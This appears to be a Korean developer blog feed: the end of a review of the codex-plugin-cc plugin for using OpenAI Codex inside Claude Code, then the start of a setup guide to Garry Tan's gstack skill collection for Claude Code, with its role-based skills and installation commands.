      "title": "...",
      "body": "...",
      "file": "...",
      "line_start": 0,
      "line_end": 0,
      "confidence": "...",
      "recommendation": "..."
    }
  ],
  "next_steps": ["..."]
}

verdict는 approve 또는 needs-attention 두 값이며,

각 finding에는 severity, title, body, file, line_start, line_end, confidence, recommendation이 포함된다.

스킬 3개

codex-cli-runtime — Codex CLI 런타임 통합
codex-result-handling — Codex 출력의 표시 규칙 정의. 리뷰 결과 후 자동 코드 수정을 금지한다. ("After presenting review findings, STOP. Do not make any code changes.")
gpt-5-4-prompting — Codex/GPT-5.4에 최적화된 프롬프트 작성 가이드라인. Codex를 "협업자가 아닌 오퍼레이터처럼" 다루고, XML 태그를 사용한 블록 구조의 컴팩트 프롬프트를 권장한다

6. 활용법 / 통합 방법

Codex config.toml 연동

기본 모델과 reasoning effort는 Codex의 사용자 레벨 또는 프로젝트 레벨 config.toml에서 커스터마이징할 수 있다.

명령어에서 --model이나 --effort로 오버라이드하는 것도 가능하다.

모델 선택

기본 모델: config.toml 설정에 따름
--model spark → gpt-5.3-codex-spark으로 매핑 (가벼운 작업에 적합)
--model gpt-5.4-mini → 직접 지정 예시. 비용을 절감하면서 중간 수준의 리뷰 품질이 필요할 때 적합하다. 예: /codex:review --model gpt-5.4-mini --base main
--model <모델명> → 직접 지정. MODEL_ALIASES에 등록되지 않은 모델명은 그대로 Codex API에 전달된다 — MODEL_ALIASES.get(model) ?? model 로직).

--effort 옵션 (reasoning effort)

6단계 설정이 가능하다: none, minimal, low, medium, high, xhigh. 간단한 작업에는 낮은 effort, 복잡한 분석에는 높은 effort를 지정하여 비용과 품질을 조절한다.

background vs foreground 실행 전략

foreground (--wait) — 1~2개 파일의 작은 리뷰에 적합. 결과를 즉시 확인할 수 있다.
background (기본 또는 --background) — 대규모 변경에 적합. detached child process로 실행되며, /codex:status로 진행 상황을 확인하고 /codex:result로 결과를 조회한다.

7. 사용 예시

시나리오 1: PR 머지 전 코드 리뷰

# main 브랜치 대비 리뷰 (background)
/codex:review --base main --background

# 잠시 후 상태 확인
/codex:status

# 결과 확인
/codex:result

review는 read-only이므로 코드를 수정하지 않는다. 리뷰 결과의 verdict가 needs-attention이면 findings를 확인하고 직접 수정한다.

시나리오 2: 버그 조사 및 수정 위임

# Codex에 버그 조사 + 수정 위임 (write 모드 기본)
/codex:rescue "auth 모듈에서 토큰 갱신 실패 원인 조사 후 수정"

# 결과 확인
/codex:result

rescue는 기본 write 모드이므로 Codex가 직접 코드를 수정한다. --resume 옵션으로 이전 작업에 이어서 추가 작업을 위임할 수도 있다.

시나리오 3: adversarial-review로 아키텍처 검증 (포커스 텍스트 활용)

# 특정 기능 흐름을 포커스 텍스트로 지정하여 집중 검증
# 포커스 영역에 가중치를 두되 7개 공격 면 전체도 함께 검토함
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 포커스 없이 전체 균등 검토 (대규모 변경은 --background 권장)
/codex:adversarial-review --background

adversarial-review는 인증/권한, 데이터 손실, 롤백 안전성, 레이스 컨디션, 빈 상태/타임아웃, 버전 스큐, 관찰성 갭 등 7개 공격 면을 기준으로 설계를 공격적으로 질문한다. 아키텍처 변경이나 보안 민감 코드에 특히 유용하다.

포커스 텍스트를 지정하면 Codex가 해당 영역의 파일을 우선 탐색한다. 실제 테스트 결과, --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름을 지정했을 때 Codex는 CohortRegistModal.tsx, cohort.api.ts, cohortRegMng/index.tsx를 집중 분석하여 수정 경로 dead code, manager 스코프 누락, mock 저장 후 false success 등 high 3건 + medium 1건을 검출했다.

시나리오 4: rescue → resume 연속 작업

# 1차 위임
/codex:rescue "DB 마이그레이션 스크립트 작성"

# 결과 확인 후 추가 작업 이어하기
/codex:rescue --resume "인덱스 추가도 포함해서 마무리"

--resume을 사용하면 이전 Codex 세션의 컨텍스트를 유지하면서 후속 작업을 위임한다. --fresh는 반대로 새 세션으로 시작한다.

8. 제한사항 및 주의사항

이중 구독 비용

ChatGPT 구독 또는 OpenAI API 키가 필요하며, 사용량은 Codex 한도에 포함된다. Claude Code 구독(Anthropic)과 별도이므로 두 벤더에 이중 비용이 발생한다.

초기 단계 프로젝트

커밋 2개, 오픈 이슈 10여 개 (2026-03-31 GitHub API 기준, 변동 가능), 리포지토리 생성일 2026-03-30이다. 아직 극초기 단계이므로 프로덕션 의존은 신중해야 한다.

Review Gate 사용량 경고

Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다 . 이는 추가 Codex 사용량을 발생시킨다.

불필요하면 /codex:setup --disable-review-gate로 비활성화한다.

Node.js 18.18+ 요구

package.json에 "engines": {"node": ">=18.18.0"}으로 명시되어 있다. 이전 버전의 Node.js에서는 동작하지 않는다.

read-only 제한

review와 adversarial-review는 read-only(sandbox: "read-only")로 실행된다. 리뷰 결과를 바탕으로 코드를 자동 수정하지 않으며, codex-result-handling 스킬이 "After presenting review findings, STOP. Do not make any code changes."를 명시한다.

패키지 특성

패키지는 private: true로 설정되어 있어 npm에 공개 배포되지 않는다. Claude Code 플러그인 마켓플레이스를 통해서만 설치한다.

9. 트러블슈팅 Q&A

Q1. /codex:setup 실행 시 Codex CLI가 없다고 나온다.

A. Codex CLI가 미설치 상태이다. setup이 npm install -g @openai/codex 설치를 제안한다. Node.js 18.18 이상이 필요하다.

Q2. Codex 인증에 실패한다.

A. ChatGPT 구독 또는 OpenAI API 키가 필요하다. /codex:setup이 미인증 시 !codex login(Claude Code 셸 이스케이프)을 안내한다. 로그인 후 다시 시도한다.

Q3. Review Gate가 계속 트리거되어 사용량이 급증한다.

A. Stop 훅 기반이므로 Claude Code가 멈출 때마다 실행된다. /codex:setup --disable-review-gate로 비활성화한다. config에서 stopReviewGate가 활성화되어 있어야 동작하므로, 설정 상태를 /codex:status로 확인한다.

Q4. 모델과 effort를 어떻게 설정하나?

Q5. 기존 Codex 설정(config.toml)이 호환되나?

A. 기본 모델과 reasoning effort는 기존 Codex config.toml에서 커스터마이징할 수 있다. 플러그인은 로컬 Codex CLI를 래핑하는 구조이므로 기존 설정이 그대로 적용된다.

Q6. background 작업 진행 상태를 어떻게 확인하나?

A. /codex:status로 활성 및 완료 작업을 확인하고, /codex:result로 완료된 작업의 전체 결과를 조회한다. 취소가 필요하면 /codex:cancel을 사용한다.

10. 결론 — 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미

도입 결정 매트릭스: 언제 쓰고, 언제 쓰지 않는가

상황	판단	이유
Claude Code로 코딩 + 별도 리뷰어가 필요	도입 고려	Codex의 독립적 관점으로 크로스 리뷰 가능
이미 OpenAI API 구독이 있다	도입 유리	추가 비용이 Codex 사용량뿐
비용에 민감하다	신중 검토	Anthropic + OpenAI 이중 구독 필요
프로덕션 워크플로우에 즉시 적용	보류 권장	2커밋, 10여 이슈의 극초기 프로젝트 (2026-03-31 GitHub API 기준, 변동 가능)
보안 민감 코드를 다룬다	adversarial-review 활용	7개 공격 면 기반 심층 리뷰
리뷰 없이 작업 위임만 필요	rescue 활용	write 모드로 직접 수정까지 가능

커뮤니티 반응과 업계 의미

"자존심이고뭐고 다 버렸구나" — OpenAI가 경쟁사 플랫폼에 플러그인을 출시한 것에 대한 놀라움이 주된 반응이었다. 이는 AI 에이전트 시장에서 도달 범위(reach)가 자존심보다 중요해졌다는 신호로 읽을 수 있다.
Google/Firefox 검색 딜 비유 — Google이 Firefox에 기본 검색 엔진 비용을 지불하듯, OpenAI가 Claude Code라는 경쟁사 플랫폼에 진입하는 전략이라는 분석이다. 시장 점유 경쟁에서 플랫폼 진입 전략이 벤더 충성도를 넘어서는 사례다.
"코드래빗 어짜냐" — CodeRabbit 등 기존 코드 리뷰 도구의 입지에 대한 우려가 있었다. Codex가 Claude Code에 직접 통합되면, 별도 코드 리뷰 SaaS의 가치 제안이 압박받을 수 있다.
Claude Code 플랫폼화 — Claude Code가 단순 에이전트 IDE에서 서드파티 플러그인을 수용하는 플랫폼으로 진화하고 있다는 평가다. 이는 싱글 에이전트 시대의 종언을 의미한다.
이중 구독 비용 우려 — Anthropic + OpenAI 양쪽 구독이 필요하다는 점에서 비용 부담에 대한 실질적 우려가 있었다.

이 반응들을 종합하면, codex-plugin-cc는 기술적 완성도보다 생태계 전략의 전환점으로서 의미가 크다. 경쟁사 간 에이전트 협업이 현실화되었고, 앞으로 "어떤 AI를 쓰느냐"보다 "어떤 AI들을 조합하느냐"가 개발 워크플로우의 핵심 질문이 될 가능성이 있다.

도입 플레이북

오늘: /codex:setup으로 설치 + 인증 확인. 개인 사이드 프로젝트에서 /codex:review 시험.
이번 주: adversarial-review와 rescue를 병행 테스트. --effort 옵션별 비용/품질 체감 비교.
운영 반영 판단: 오픈 이슈 해결 추이와 커밋 히스토리를 모니터링한 후 결정. 극초기 프로젝트(2커밋, 10여 이슈 — 2026-03-31 GitHub API 기준, 변동 가능)이므로 안정성이 검증된 뒤 반영하는 것이 권장된다.

마무리

"하네스 엔지니어링" - gstack(혼자서 팀처럼 개발하기) 리뷰 : Garry Tan의 Claude Code 셋업을 내 프로젝트에 적용하는 법

갓대희 — Mon, 30 Mar 2026 22:00:01 +0900

안녕하세요! 갓대희 입니다.

Y Combinator(YC) 사장이자 CEO인 Garry Tan이 자신의 Claude Code 셋업을 오픈소스로 공개했다.

이름은 gstack. CEO, 디자이너, 엔지니어링 매니저, Release Engineer, Doc Engineer, QA 엔지니어 등 역할을 각각 담당하는 AI 에이전트들로 구성된 개발 워크플로우 툴킷이다. 공개 2주 만에 GitHub에서 56,000+개의 스타(2026-03-30 GitHub API 기준, 지속 증가 중)를 받으며 2026년 가장 빠르게 성장한 개발 도구 중 하나로 자리잡았다.

단순한 프롬프트 모음집이 아니다. Garry Tan 본인의 표현대로 "That is not a copilot. That is a team." — 각 개발 단계마다 다른 인지 모드를 스위칭하는 구조적 접근법이다. 처음 공개 시 6개 도구였으나 빠르게 성장하여 현재 29개의 스킬을 포함하며, Claude Code뿐 아니라 Codex CLI도 지원하고 SKILL.md 표준을 따르는 Python 에이전트 전반과 호환된다. 이 글에서는 gstack이 무엇인지, 어떻게 셋업하는지, 실제로 어떻게 활용하는지, 그리고 커뮤니티의 찬반 양론까지 살펴본다.

GitHub: https://github.com/garrytan/gstack
Stars: 56,000+ | Forks: 7,300+ (2026-03-30 GitHub API 조회 기준, 실시간 변동) | 언어: TypeScript | 요구사항: Claude Code(또는 Codex CLI) + Git + Bun v1.0+ (Windows는 Node.js 추가 필요)

Garry Tan은 누구인가?
gstack이란? — 탄생 배경과 철학
- 하네스 엔지니어링 관점에서 본 gstack
29가지 역할별 에이전트 스킬 해부
- YC Office Hours — /office-hours
- CEO 리뷰 모드 — /plan-ceo-review
- 엔지니어링 매니저 모드 — /plan-eng-review
- 디자인 리뷰 — /plan-design-review, /design-consultation, /design-review
- Staff Engineer 모드 — /review, /investigate
- Release & Deploy — /ship, /land-and-deploy, /canary, /benchmark
- QA Engineer — /browse, /qa, /qa-only
- 보안·안전 — /cso, /careful, /freeze, /guard, /unfreeze
- 유틸리티 — /codex, /retro, /document-release, /gstack-upgrade
설치 및 셋업 방법 (단계별 가이드)
CLAUDE.md 및 설정 파일 구조
Conductor와의 병렬 실행
이 방식의 장점과 한계
커뮤니티 반응 — 찬사와 논쟁
실전 활용: Codex 리밋 후 gstack + Claude Code 워크플로우
30분 핵심 튜토리얼: 처음 gstack 써보기
직접 따라하기 — 나만의 역할별 에이전트 셋업
결론

1. Garry Tan은 누구인가?

Garry Tan은 현재 Y Combinator(YC)의 President & CEO를 맡고 있다.

YC는 Airbnb, Dropbox, Stripe, Coinbase, Instacart, Rippling 등 수천 개의 스타트업을 배출한 세계 최고의 스타트업 액셀러레이터다.

Garry Tan은 Palantir의 초기 엔지니어/디자이너 출신이고, Posterous(트위터에 인수)를 창업한 경험이 있으며, YC 내부 SNS인 Bookface를 직접 개발한 실리콘밸리의 핵심 인물이다.

(출처: gstack README)

그는 기술과 제품에 대한 깊은 이해를 바탕으로 직접 코드를 작성하는 CEO로 알려져 있다.

그는 "I've been having such an amazing time with Claude Code I wanted you to be able to have my exact skill setup"(나는 Claude Code를 사용하면서 정말 놀라운 경험을 하고 있어서, 내가 설정해둔 동일한 skill 환경을 너도 그대로 사용할 수 있게 해주고 싶었다.)라며 gstack을 공개했다.

이후 그의 CTO 친구가 "Your gstack is crazy. This is like god mode"라고 평가하며 바이럴되었다.

왜 CEO가 직접 Claude Code 셋업을 공개하는가?

Garry Tan은 "AI 코딩 도구를 단순히 사용하는 것"과 "제대로 활용하는 것" 사이에 큰 차이가 있다고 강조한다. gstack은 그가 실제로 YC 포트폴리오 회사들과 함께 일하면서, 그리고 개인 프로젝트를 진행하면서 다듬어온 실전 셋업이다. 단순한 프롬프트 튜닝이 아니라, 개발 프로세스 자체를 구조화하는 방법론이다.

2. gstack이란? — 탄생 배경과 철학

gstack의 공식 설명은 이렇다:

"Use Garry Tan's exact Claude Code setup:
15 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA

(Garry Tan의 Claude Code 설정을 그대로 사용하라:
CEO, Designer, Engineering Manager, Release Manager, Documentation Engineer, QA 역할을 수행하는 강하게 의견이 반영된(opinionated) 15개의 도구(tool) 구성)"

(출처: GitHub repo description )

핵심 철학은 한 문장으로 요약된다:

"Planning is not review. Review is not shipping. Founder taste is not engineering rigor."

기획은 리뷰가 아니다. 리뷰는 배포가 아니다. 창업자의 감각은 엔지니어링의 엄밀함이 아니다.

이 철학이 왜 중요한가?

많은 개발자들이 Claude Code(또는 다른 AI 코딩 어시스턴트)를 "만능 도구"처럼 사용한다. 기획, 코딩, 리뷰, 배포를 모두 같은 대화 창에서, 같은 프롬프트 스타일로 요청한다. 결과는 "어중간하게 다 하는" 범용 응답이다.

gstack은 이를 거부한다. 각 개발 단계마다 다른 인지 모드가 필요하다는 것을 인식하고, 명시적으로 모드를 스위칭하는 구조를 만든다. CEO처럼 10배 더 나은 제품을 상상할 때와, Staff Engineer처럼 프로덕션 버그를 사냥할 때는 다른 사고방식이 필요하다.

기술 스택과 요구사항

Claude Code: Anthropic의 AI 코딩 어시스턴트 (필수)
Git: 버전 관리 (필수)
Bun v1.0+: JavaScript 런타임 — /browse 스킬의 브라우저 바이너리 컴파일에 필요
macOS 또는 Linux (x64/arm64): /browse 스킬 지원 환경
Conductor (선택): 병렬 Claude Code 세션 관리 (10개 동시 실행 시)

하네스 엔지니어링 관점에서 본 gstack

gstack을 "프롬프트 모음집"으로 보는 시각이 있다. 하지만 2026년 양대 AI 회사가 한 달 간격으로 발표한 공식 블로그 — OpenAI "Harness Engineering"(2026-02-11)과 Anthropic "Harness Design for Long-Running Apps"(2026-03-24) — 의 프레임으로 보면 전혀 다른 그림이 나온다. gstack은 개인 개발자를 위한 하네스(harness)다.

하네스란 프롬프트보다 넓은 개념이다. 에이전트가 작동하는 환경 전체 — 운영 규칙, 역할 분리 구조, 검증 루프, 안전 가드레일 — 를 포함한다. gstack의 구성 요소를 하네스 엔지니어링 원칙에 매핑하면 다음과 같다.

하네스 엔지니어링 원칙	gstack 구현	참조
환경 설계	CLAUDE.md의 gstack 섹션 — 세션 시작 시 항상 로드되는 운영 규칙. 사용 도구와 스킬 목록을 명시	OpenAI: "에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다"
역할 분리	SKILL.md 기반 29개 역할을 명시적으로 분리. 각 스킬은 다른 평가 기준과 출력 형식을 가짐	Anthropic: Planner / Generator / Evaluator 3-에이전트 구조
피드백 루프	/autoplan(방향 설정) → 구현(Generator) → /review · /qa(Evaluator)	Anthropic: "생성기 자신에게 자기 결과를 평가하게 하면 편향이 생긴다"
행동 가드레일	/careful · /freeze · /guard — 파괴적 명령 차단 및 작업 범위 잠금	프롬프트가 아닌 구조화된 운영 규칙 레벨에서 작동

OpenAI가 말한 "Humans steer. Agents execute."는 gstack의 /office-hours에서 정확히 구현된다. 6가지 강제 질문으로 사람이 방향을 확정하면, 이후 에이전트가 설계·구현·검증을 실행한다. /review와 /qa를 구현 단계와 분리하는 것도 같은 이유다 — 자기 코드를 자기가 평가하면 맹점이 생긴다.

같은 모델, 다른 하네스 → 다른 결과

LangChain은 모델을 고정한 채 하네스만 변경하여 에이전트 벤치마크(Terminal Bench 2.0) 점수를 52.8 → 66.5로 끌어올렸다. (출처, 2026-02-17) gstack은 Claude를 더 좋은 모델로 바꾸는 도구가 아니라, 같은 모델이 더 일관되게 일하도록 행동 공간을 재설계하는 하네스다.

프롬프트 엔지니어링 vs 하네스 엔지니어링

gstack의 핵심은 프롬프트를 더 길게 쓰는 데 있지 않다. CLAUDE.md 같은 항상 로드되는 운영 규칙, SKILL.md 기반 역할 분리, 그리고 /review · /qa 같은 검증 루프를 통해 에이전트의 행동 자체를 재구성하는 데 있다. 프롬프트는 포크해서 바꿀 수 있지만, 이 구조적 설계는 쉽게 재발명되지 않는다. 단, 역할마다 별도 스킬을 호출하는 만큼 토큰과 운영 오버헤드가 늘어난다는 트레이드오프는 있다.

하네스 엔지니어링 개념 전체(OpenAI vs Anthropic 비교 분석)는 하네스 엔지니어링 완전 가이드에서 상세히 다룬다.

3. 29가지 역할별 에이전트 스킬 해부

gstack은 초기 6개 스킬에서 빠르게 확장하여 현재 약 29개의 슬래시 커맨드 스킬로 구성된다

(README는 "All 29 skills"로 표기, 2026-03-30 기준. 빠르게 추가/변경 중).

각 스킬은 특정 역할의 인지 모드로 AI 에이전트를 전환한다. 아래 표에서 카테고리별로 전체 구조를 파악할 수 있다.

(출처: gstack docs/skills.md, 2026-03-26 기준)

기획·리뷰 (Planning & Review)

스킬 명령어	역할	주요 기능
`/office-hours`	YC Office Hours	6가지 강제 질문으로 코드 작성 전 제품을 재정의. 전제를 도전하고 구현 대안을 생성
`/plan-ceo-review`	창업자 / CEO	10-star product 관점에서 문제 재정의. 4가지 모드: Expansion, Selective, Hold, Reduction
`/plan-eng-review`	엔지니어링 매니저	아키텍처 확정, 데이터 플로우, 에지 케이스 정의. 숨겨진 가정을 드러냄
`/plan-design-review`	시니어 디자이너	인터랙티브 plan-mode 디자인 리뷰. 각 차원을 0~10점으로 평가하고 개선
`/autoplan`	리뷰 파이프라인	CEO → Design → Eng review를 자동 순차 실행. 판단이 필요한 "taste decisions"만 사용자에게 질문

디자인 (Design)

스킬 명령어	역할	주요 기능
`/design-consultation`	디자인 파트너	디자인 시스템 구축. 창의적 리스크 제안, 실제 제품 목업 생성
`/design-review`	코드하는 디자이너	라이브 사이트 시각 감사 + 수정 루프. 80항목 감사 후 atomic commit으로 수정
`/design-shotgun`	디자인 탐색기 [신규 v0.13.5]	여러 AI 디자인 변형을 생성하고, 브라우저에서 비교 보드를 열어 방향을 선택. 사용자 취향 메모리를 누적 학습

구현·테스트 (Implementation & Testing)

스킬 명령어	역할	주요 기능
`/review`	Staff Engineer	CI를 통과하는 프로덕션 버그 탐색. 자동 수정 + 완전성 갭 표시
`/investigate`	디버거	체계적 근본 원인 디버깅. 데이터 흐름 추적, 가설 테스트. 3회 실패 시 중단
`/qa`	QA Lead	앱 테스트 → 버그 발견 → atomic commit 수정 → 재검증. 회귀 테스트 자동 생성
`/qa-only`	QA 리포터	/qa와 동일 방법론이지만 코드 수정 없이 보고만 수행
`/cso`	Chief Security Officer	OWASP Top 10 + STRIDE 위협 모델링 감사. Injection, 인증, 암호화, 접근 제어 스캔
`/browse`	QA Engineer (시각)	실제 Chromium 브라우저로 클릭, 스크린샷 (~100ms/명령)
`/connect-chrome`	Chrome 컨트롤러 [신규]	실제 Chrome을 gstack이 제어하는 모드로 실행. Side Panel 확장으로 모든 동작을 실시간 관찰 가능

배포 (Deployment)

스킬 명령어	역할	주요 기능
`/ship`	Release Engineer	main 싱크 → 테스트 → 커버리지 감사 → 푸시 → PR 생성. 원커맨드
`/land-and-deploy`	배포 매니저	PR 머지 후 프로덕션 배포까지 전체 흐름 실행
`/canary`	SRE	포스트-디플로이 모니터링 루프. console errors, 성능 저하, 페이지 장애를 감시
`/benchmark`	성능 엔지니어	성능 벤치마크 실행 및 비교
`/setup-deploy`	배포 설정	배포 환경 초기 설정 및 구성 자동화

안전·유틸리티 (Safety & Utilities)

스킬 명령어	역할	주요 기능
`/careful`	안전 가드레일	파괴적 명령 전 경고. 일반 빌드 정리는 화이트리스트
`/freeze`	편집 잠금	파일 편집을 단일 디렉토리로 제한. 경계 밖 Edit/Write 차단
`/guard`	풀 세이프티	/careful + /freeze 결합. 프로덕션 작업 시 최대 안전 모드
`/unfreeze`	잠금 해제	/freeze 경계 제거, 전체 편집 허용
`/codex`	Second Opinion	OpenAI Codex 독립 리뷰. 3가지 모드: 코드 리뷰 게이트, 적대적 챌린지, 오픈 상담
`/retro`	엔지니어링 매니저	팀 메트릭 기반 회고. 개인별 분석, 배포 스트릭, 테스트 건강도 트렌드
`/document-release`	테크니컬 라이터	배포된 코드에 맞춰 프로젝트 문서 자동 업데이트
`/setup-browser-cookies`	세션 매니저	Chrome, Arc, Brave, Edge에서 쿠키 가져와 헤드리스 세션에 임포트
`/gstack-upgrade`	셀프 업데이터	gstack을 최신 버전으로 업그레이드. 글로벌/벤더 설치 자동 감지

3.1 YC Office Hours — /office-hours (신규)

gstack 워크플로우의 시작점이다. 코드를 한 줄도 쓰기 전에 6가지 강제 질문으로 제품을 재정의한다.

Garry Tan이 실제 YC Office Hours에서 창업자들에게 던지는 질문을 AI 에이전트가 대신 수행하는 구조다. 전제를 도전하고, 기존 프레이밍을 부수고, 구현 대안을 생성한다.

이 스킬이 만든 디자인 문서가 이후 /plan-ceo-review 등 모든 하위 스킬의 입력이 된다.

/office-hours가 만드는 가치

일반적인 AI 코딩 어시스턴트는 "이 기능 만들어줘"라고 하면 바로 코딩을 시작한다. /office-hours는 반대로 "이 기능이 정말 필요한가? 더 나은 방법은 없는가?"부터 묻는다. 디자인 문서에 revision chain이 기록되어, 아이디어가 어떻게 진화했는지 추적할 수 있다.

3.2 CEO 리뷰 모드 — /plan-ceo-review

이 스킬은 창업자의 시각으로 문제를 바라보는 인지 모드를 활성화한다.

단순히 요청된 기능을 구현하는 게 아니라, "이 문제를 해결하는 가장 탁월한 방법은 무엇인가?"를 먼저 묻는다.

4가지 동작 모드를 제공한다: Expansion(범위 확장), Selective Expansion(선택적 확장), Hold Scope(범위 유지), Reduction(범위 축소).

Garry Tan이 YC 창업자들에게 늘 강조하는 "10-star product" 개념이 여기에 녹아 있다.

Airbnb의 사례로 설명하면, 별 1개짜리 경험은 "호스트가 집 열쇠를 보내줬다"이고, 별 10개짜리 경험은 "공항에서부터 개인 컨시어지가 안내해주고 방에 선물이 준비되어 있다"이다.

이 스킬은 AI가 별 10개짜리 솔루션을 먼저 상상한 후, 현실적으로 가능한 범위를 좁히는 방식으로 작동한다.

/plan-ceo-review 사용 시점

새로운 기능 개발 시작 전
기존 접근법에 막혔을 때
사용자 경험(UX) 개선 방향을 정할 때
경쟁사 대비 차별화 전략을 구상할 때

3.3 엔지니어링 매니저 모드 — /plan-eng-review

CEO 리뷰가 "무엇을 만들 것인가"를 정한다면,

엔지니어링 매니저 모드는 "어떻게 만들 것인가"를 정한다.

아키텍처를 확정하고, 데이터 플로우를 다이어그램으로 문서화하고, 에지 케이스와 예외 상황을 미리 정의한다.

이 스킬이 실행되면 Claude Code는 엔지니어링 리드의 역할을 맡아 다음을 수행한다:

아키텍처 다이어그램: 컴포넌트 간 관계와 데이터 흐름을 Mermaid 또는 텍스트 다이어그램으로 표현
인터페이스 정의: API 계약, 데이터 스키마, 타입 정의
에지 케이스 목록화: "무엇이 잘못될 수 있는가"를 체계적으로 나열
구현 순서 정의: 의존성 기반 태스크 순서화

3.4 Staff Engineer 모드 — /review

이 스킬이 핵심이다. "CI를 통과하는 프로덕션 버그를 찾아라." 테스트가 모두 통과하고, 린터에도 걸리지 않지만 실제 서비스에서는 문제가 되는 버그들이 있다. Race condition, 메모리 누수, 타임아웃 처리 누락, 인증 우회 가능성 같은 것들이다.

/review 스킬은 특히 Greptile 통합이 인상적이다. Greptile은 자동화된 코드 리뷰 도구인데, PR 코멘트를 자동 생성한다. /review 실행 시 이 Greptile 코멘트를 가져와서 세 가지로 분류한다:

유효한 이슈: 실제로 수정이 필요한 문제
이미 수정됨: 다른 커밋에서 이미 해결된 문제
False Positive: 실제로는 문제없는 오탐지

3.5 QA Engineer 모드 — /browse, /qa

gstack의 가장 독특한 기술적 특징이 여기에 있다.

/browse는 Claude Code에 실제 "눈"을 달아주는 스킬이다. Playwright를 컴파일한 바이너리를 통해 Claude Code가 실제 브라우저를 조작하고 화면을 확인할 수 있다.

단순한 스크린샷이 아니다. Claude Code가 직접 버튼을 클릭하고, 폼을 입력하고, 네트워크 요청을 확인하며 QA 테스트를 수행한다. 개발자가 "로그인 후 대시보드가 올바르게 표시되는지 확인해줘"라고 요청하면, Claude Code가 실제 브라우저를 열어 테스트한다.

/qa는 한 단계 더 나아간다. diff-aware testing — 코드 변경 사항을 분석해서, 변경으로 인해 영향받을 수 있는 페이지와 기능을 자동으로 식별하고, 그것들을 우선적으로 테스트한다. 변경하지 않은 기능까지 전수 테스트하는 낭비를 줄인다.

/browse 사용 시 주의사항

gstack 공식 가이드는 Chrome-specific MCP 도구 사용을 지양하고, 안정성과 속도를 위해 /browse 스킬 또는 $B <command> 직접 바이너리 호출을 권장한다. /browse는 macOS와 Linux(x64/arm64)에서만 지원된다.

3.6 Release Engineer 모드 — /ship

/ship은 배포의 전 과정을 담당하는 Release Engineer 모드다.

단순히 `git push`가 아니라, 배포 전 체크리스트를 체계적으로 실행한다:

# /ship 실행 시 자동으로 수행하는 단계들 (예상되는 단계 흐름)
1. git sync — 최신 upstream 변경사항 반영
2. 테스트 실행 — 전체 테스트 스위트 통과 확인
3. 코드 리뷰 코멘트 처리 — Greptile 및 팀원 코멘트 트리아지
4. PR 생성 — 제목, 설명, 변경 사항 요약 자동 작성
5. 최종 푸시 — 브랜치 푸시 및 PR 링크 출력

3.7 세션 매니저 — /setup-browser-cookies

인증이 필요한 페이지를 테스트할 때 필요한 스킬이다. 실제 브라우저의 쿠키와 세션 정보를 가져와서, Claude Code의 /browse 스킬이 로그인된 상태로 테스트를 수행할 수 있게 한다. 관리자 페이지, 사용자 대시보드 등 로그인 후에만 접근 가능한 화면을 자동화 테스트할 때 사용한다.

3.8 회고 매니저 — /retro

/retro는 엔지니어링 매니저 역할로서 팀 회고를 생성한다. 단순한 템플릿 채우기가 아니라, 실제 팀 메트릭(배포 횟수, 버그 발생률, PR 리뷰 시간 등)을 기반으로 팀별, 개인별 맞춤 피드백을 작성한다. 스프린트 회고를 자동화하고 싶은 팀에게 유용하다.

4. 설치 및 셋업 방법 (단계별 가이드)

gstack 설치는 Claude Code 내부에서 설치 커맨드를 붙여넣는 방식으로 진행된다. 설치 스크립트가 나머지를 자동으로 처리한다.

4.1 사전 준비

Claude Code가 처음이라면?

gstack은 Claude Code(Anthropic의 터미널 기반 AI 코딩 에이전트) 위에서 동작한다.
Claude Code는 유료 구독이 필요하며, Pro($20/월) 또는 Max($100/월 또는 $200/월) 플랜에서 사용 가능하다 (2026년 3월 기준). API 키(종량제)로도 사용할 수 있다. Claude Code 자체의 설치/구독이 먼저 되어 있어야 gstack을 사용할 수 있다.

설치 (공식 권장): curl -fsSL https://claude.ai/install.sh | bash
또는 npm: npm install -g @anthropic-ai/claude-code (deprecated, 아직 작동)
공식 가이드: docs.anthropic.com/en/docs/claude-code

"슬래시 커맨드"와 "스킬"이란?

Claude Code에서 /를 입력하면 사용 가능한 커맨드 목록이 나타난다. 이것이 슬래시 커맨드다.
스킬(Skill)은 ~/.claude/skills/ 디렉토리에 SKILL.md 파일로 정의되는 확장 기능이다.
gstack을 설치하면 이 디렉토리에 29개의 스킬이 추가되어, /office-hours, /review 등의 새로운 슬래시 커맨드를 사용할 수 있게 된다.

# 1. Bun 설치 (아직 없다면)
curl -fsSL https://bun.sh/install | bash
# ⚠️ 설치 후 터미널을 재시작하거나 아래 명령어 실행:
source ~/.bashrc  # 또는 source ~/.zshrc (macOS 기본)

# 2. Bun 버전 확인
bun --version
# 1.0 이상이어야 함

# 3. Claude Code 설치 확인
claude --version
# 설치되어 있지 않다면: curl -fsSL https://claude.ai/install.sh | bash

4.2 글로벌 설치 (Claude Code — 개인 사용)

터미널에서 아래 커맨드를 실행한다.

git clone 후 setup 스크립트가 브라우저 바이너리 컴파일과 설정을 자동 처리한다.

(출처: gstack README)

# Claude Code 글로벌 설치 (개인)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/.claude/skills/gstack && \
cd ~/.claude/skills/gstack && ./setup

설치 성공 확인 방법

설치가 완료되면 Claude Code를 재시작하고 /를 입력해본다. /office-hours, /review 등 gstack 스킬이 자동완성 목록에 나타나면 성공이다. 나타나지 않으면 cd ~/.claude/skills/gstack && ./setup을 다시 실행한다.

4.3 프로젝트별 팀 설치

팀 전체가 같은 셋업을 사용하고 싶다면 프로젝트 레벨로 복사한다.

바이너리와 의존성은 `.gitignore`에 추가되며, 팀원 각자가 setup 스크립트를 한 번씩 실행해서 로컬에 컴파일한다.

# 프로젝트별 설치 (팀 공유)
cp -Rf ~/.claude/skills/gstack .claude/skills/gstack && \
rm -rf .claude/skills/gstack/.git && \
cd .claude/skills/gstack && ./setup

4.4 Codex / Gemini CLI 설치 (신규)

gstack은 이제 Claude Code 외에도 OpenAI Codex CLI, Gemini CLI, Cursor를 지원한다.

SKILL.md 표준을 통해 호환되며, 설치 시 --host 플래그로 대상을 지정한다. --host auto를 사용하면 설치된 에이전트를 자동으로 감지한다.

